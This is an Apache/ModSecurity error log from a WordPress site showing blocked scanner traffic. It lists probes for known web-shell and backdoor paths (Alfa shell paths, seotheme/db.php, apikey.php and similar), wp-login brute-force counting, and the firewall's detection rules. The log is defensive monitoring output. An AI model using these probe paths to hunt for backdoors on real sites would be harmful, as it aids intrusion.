[Mon Mar 23 21:00:30.366016 2026] [:error] [pid 38176:tid 38210] [client 20.215.241.7:43725] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sweg.php"] [unique_id "acE5bktG4qlh1gvNjuIyEwAAABc"]
[Mon Mar 23 21:00:30.921175 2026] [:error] [pid 38178:tid 38256] [client 20.215.241.7:49812] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phina.php"] [unique_id "acE5bg0axWfXsVvR9uc8yQAAAI4"]
[Mon Mar 23 21:00:31.435510 2026] [:error] [pid 38178:tid 38246] [client 20.215.241.7:44752] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phina.php"] [unique_id "acE5bw0axWfXsVvR9uc8zAAAAIQ"]
[Mon Mar 23 21:00:31.957042 2026] [:error] [pid 38177:tid 38224] [client 20.215.241.7:6729] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phina.php"] [unique_id "acE5b3sYW-_HCI66MunttAAAAEk"]
[Mon Mar 23 21:00:32.514660 2026] [:error] [pid 38276:tid 38290] [client 20.215.241.7:6778] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phina.php"] [unique_id "acE5cJoKGiI-a7oME3LwQgAAAMs"]
[Mon Mar 23 21:00:33.365892 2026] [:error] [pid 38177:tid 38222] [client 20.215.241.7:7107] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an7.php"] [unique_id "acE5cXsYW-_HCI66MunttwAAAEc"]
[Mon Mar 23 21:00:34.004058 2026] [:error] [pid 38176:tid 38208] [client 20.215.241.7:6782] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an7.php"] [unique_id "acE5cktG4qlh1gvNjuIyGwAAABU"]
[Mon Mar 23 21:00:34.617987 2026] [:error] [pid 38306:tid 38313] [client 20.215.241.7:49847] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an7.php"] [unique_id "acE5cjkL8qwu-hHc6BiRIQAAAQU"]
[Mon Mar 23 21:00:45.091558 2026] [:error] [pid 38176:tid 38206] [client 20.215.241.7:6833] [client 20.215.241.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/app.php"] [unique_id "acE5fUtG4qlh1gvNjuIyOgAAABM"]
[Mon Mar 23 22:44:44.247747 2026] [:error] [pid 38177:tid 38234] [client 43.135.36.201:42500] [client 43.135.36.201] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acFR3HsYW-_HCI66MukAgwAAAFM"]
[Mon Mar 23 23:19:58.275597 2026] [:error] [pid 52341:tid 52344] [client 89.251.0.150:61119] [client 89.251.0.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.150, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "acFaHqPKTBDR2u47Gb0bywAAAUE"]
[Mon Mar 23 23:20:00.712689 2026] [:error] [pid 38178:tid 38250] [client 89.251.0.117:40887] [client 89.251.0.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.117, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "acFaIA0axWfXsVvR9udZRwAAAIg"]
[Mon Mar 23 23:20:06.894055 2026] [:error] [pid 38276:tid 38282] [client 89.251.0.117:58675] [client 89.251.0.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.117, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "acFaJpoKGiI-a7oME3IVNwAAAMM"]
[Mon Mar 23 23:20:08.084998 2026] [:error] [pid 38176:tid 38202] [client 89.251.0.117:59345] [client 89.251.0.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.117, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "acFaKEtG4qlh1gvNjuJhJgAAAA8"]
[Tue Mar 24 00:14:03.057526 2026] [:error] [pid 38306:tid 38313] [client 20.43.23.11:36910] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php"] [unique_id "acFmyzkL8qwu-hHc6BjpnAAAAQU"]
[Tue Mar 24 00:14:03.272643 2026] [:error] [pid 38306:tid 38320] [client 20.43.23.11:45916] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php"] [unique_id "acFmyzkL8qwu-hHc6BjpnwAAAQw"]
[Tue Mar 24 00:14:03.477144 2026] [:error] [pid 38306:tid 38311] [client 20.43.23.11:25268] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php"] [unique_id "acFmyzkL8qwu-hHc6BjpoQAAAQM"]
[Tue Mar 24 00:14:03.886565 2026] [:error] [pid 38276:tid 38284] [client 20.43.23.11:19654] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php"] [unique_id "acFmy5oKGiI-a7oME3ImDgAAAMU"]
[Tue Mar 24 00:14:04.296438 2026] [:error] [pid 38178:tid 38243] [client 20.43.23.11:37302] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php"] [unique_id "acFmzA0axWfXsVvR9udmaAAAAIE"]
[Tue Mar 24 00:31:07.212595 2026] [autoindex:error] [pid 56435:tid 56507] [client 144.91.97.142:50644] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Mar 24 02:02:39.399535 2026] [:error] [pid 56435:tid 56505] [client 182.44.67.97:48381] [client 182.44.67.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acGAP8rwr-l5A-s9ryCYqAAAAQY"]
[Tue Mar 24 03:39:49.789092 2026] [:error] [pid 37681:tid 37692] [client 20.43.23.11:31677] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/apikey/apikey.php"] [unique_id "acGXBVZyjMpz5oys0C-vpAAAAMk"]
[Tue Mar 24 03:39:50.000334 2026] [:error] [pid 37681:tid 37699] [client 20.43.23.11:17413] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/apikey/apikey.php"] [unique_id "acGXBVZyjMpz5oys0C-vpQAAANA"]
[Tue Mar 24 03:39:50.691367 2026] [:error] [pid 37681:tid 37689] [client 20.43.23.11:46690] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfacgiapi/perl.alfa"] [unique_id "acGXBlZyjMpz5oys0C-vpwAAAMY"], referer: www.google.com
[Tue Mar 24 03:39:51.212300 2026] [:error] [pid 37590:tid 37656] [client 20.43.23.11:46684] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/apikey/apikey.php"] [unique_id "acGXBx338kV7mBKNe8lYNwAAAEU"]
[Tue Mar 24 03:39:51.261466 2026] [:error] [pid 37590:tid 37662] [client 20.43.23.11:40398] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acGXBx338kV7mBKNe8lYOQAAAEs"], referer: www.google.com
[Tue Mar 24 03:39:51.997597 2026] [:error] [pid 37591:tid 37626] [client 20.43.23.11:46687] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfacgiapi/perl.alfa"] [unique_id "acGXB9iKeEBlC8HRYydvxgAAAII"], referer: www.google.com
[Tue Mar 24 03:39:52.384847 2026] [:error] [pid 37591:tid 37635] [client 20.43.23.11:46662] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/apikey/apikey.php"] [unique_id "acGXCNiKeEBlC8HRYydvyAAAAIs"]
[Tue Mar 24 03:39:52.592027 2026] [:error] [pid 37590:tid 37665] [client 20.43.23.11:31676] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/apikey/apikey.php"] [unique_id "acGXCB338kV7mBKNe8lYPQAAAE4"]
[Tue Mar 24 03:39:52.623300 2026] [:error] [pid 37590:tid 37653] [client 20.43.23.11:40416] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acGXCB338kV7mBKNe8lYPgAAAEI"], referer: www.google.com
[Tue Mar 24 03:39:53.359440 2026] [:error] [pid 37681:tid 37691] [client 20.43.23.11:20580] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfacgiapi/perl.alfa"] [unique_id "acGXCVZyjMpz5oys0C-vsAAAAMg"], referer: www.google.com
[Tue Mar 24 03:39:53.997142 2026] [:error] [pid 37681:tid 37699] [client 20.43.23.11:33486] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acGXCVZyjMpz5oys0C-vtAAAANA"], referer: www.google.com
[Tue Mar 24 03:39:54.464142 2026] [:error] [pid 37681:tid 37706] [client 20.43.23.11:46697] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfacgiapi/perl.alfa"] [unique_id "acGXClZyjMpz5oys0C-vuQAAANc"], referer: www.google.com
[Tue Mar 24 03:39:55.382243 2026] [:error] [pid 37590:tid 37670] [client 20.43.23.11:20553] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acGXCx338kV7mBKNe8lYRQAAAFM"], referer: www.google.com
[Tue Mar 24 03:39:55.818958 2026] [:error] [pid 37591:tid 37642] [client 20.43.23.11:33488] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfacgiapi/perl.alfa"] [unique_id "acGXC9iKeEBlC8HRYydvzwAAAJI"], referer: www.google.com
[Tue Mar 24 03:39:56.915784 2026] [:error] [pid 37681:tid 37698] [client 20.43.23.11:38414] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acGXDFZyjMpz5oys0C-vvwAAAM8"], referer: www.google.com
[Tue Mar 24 03:39:57.541595 2026] [:error] [pid 37590:tid 37665] [client 20.43.23.11:33510] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acGXDR338kV7mBKNe8lYTAAAAE4"], referer: www.google.com
[Tue Mar 24 03:39:58.905049 2026] [:error] [pid 37681:tid 37707] [client 20.43.23.11:46693] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acGXDlZyjMpz5oys0C-vwwAAANg"], referer: www.google.com
[Tue Mar 24 03:40:00.083941 2026] [:error] [pid 37681:tid 37688] [client 20.43.23.11:16784] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acGXEFZyjMpz5oys0C-vxgAAAMU"], referer: www.google.com
[Tue Mar 24 03:40:01.244513 2026] [:error] [pid 37681:tid 37684] [client 20.43.23.11:20579] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acGXEVZyjMpz5oys0C-vyQAAAME"], referer: www.google.com
[Tue Mar 24 03:40:02.529997 2026] [:error] [pid 37681:tid 37695] [client 20.43.23.11:38443] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acGXElZyjMpz5oys0C-vzAAAAMw"], referer: www.google.com
[Tue Mar 24 04:54:47.232593 2026] [:error] [pid 3032:tid 3106] [client 170.106.197.109:42826] [client 170.106.197.109] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acGolya_-JXXD03-JNy3IAAAAIM"]
[Tue Mar 24 05:23:04.375470 2026] [:error] [pid 3137:tid 3141] [client 172.213.136.15:28450] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx81.php"] [unique_id "acGvOJdZesutm6dfYM_ZqgAAAMI"]
[Tue Mar 24 05:23:05.367999 2026] [:error] [pid 3137:tid 3155] [client 172.213.136.15:6616] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx81.php"] [unique_id "acGvOZdZesutm6dfYM_ZswAAANA"]
[Tue Mar 24 05:23:06.171467 2026] [:error] [pid 3031:tid 3095] [client 172.213.136.15:26157] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx81.php"] [unique_id "acGvOqJBKytnG47nuibWHwAAAFM"]
[Tue Mar 24 05:23:07.245590 2026] [:error] [pid 38767:tid 38785] [client 172.213.136.15:30523] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx81.php"] [unique_id "acGvO_wkUqN4GJAI5oVrSQAAAQ8"]
[Tue Mar 24 05:23:08.670796 2026] [:error] [pid 3137:tid 3139] [client 172.213.136.15:35249] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xr.php"] [unique_id "acGvPJdZesutm6dfYM_ZvAAAAMA"]
[Tue Mar 24 05:23:09.521577 2026] [:error] [pid 3137:tid 3162] [client 172.213.136.15:26060] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xr.php"] [unique_id "acGvPZdZesutm6dfYM_ZvwAAANc"]
[Tue Mar 24 05:23:11.478211 2026] [:error] [pid 3137:tid 3158] [client 172.213.136.15:30772] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xr.php"] [unique_id "acGvP5dZesutm6dfYM_ZwwAAANM"]
[Tue Mar 24 05:23:12.739217 2026] [:error] [pid 3032:tid 3104] [client 172.213.136.15:24936] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xr.php"] [unique_id "acGvQCa_-JXXD03-JNzBnwAAAIE"]
[Tue Mar 24 05:23:14.028698 2026] [:error] [pid 3031:tid 3081] [client 172.213.136.15:23710] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "acGvQqJBKytnG47nuibWJwAAAEU"]
[Tue Mar 24 05:23:15.002317 2026] [:error] [pid 38767:tid 38790] [client 172.213.136.15:37252] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "acGvQ_wkUqN4GJAI5oVrcQAAARQ"]
[Tue Mar 24 05:23:15.967692 2026] [:error] [pid 38767:tid 38786] [client 172.213.136.15:23650] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "acGvQ_wkUqN4GJAI5oVrfgAAARA"]
[Tue Mar 24 05:23:17.400507 2026] [:error] [pid 38767:tid 38773] [client 172.213.136.15:30497] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "acGvRfwkUqN4GJAI5oVrjQAAAQM"]
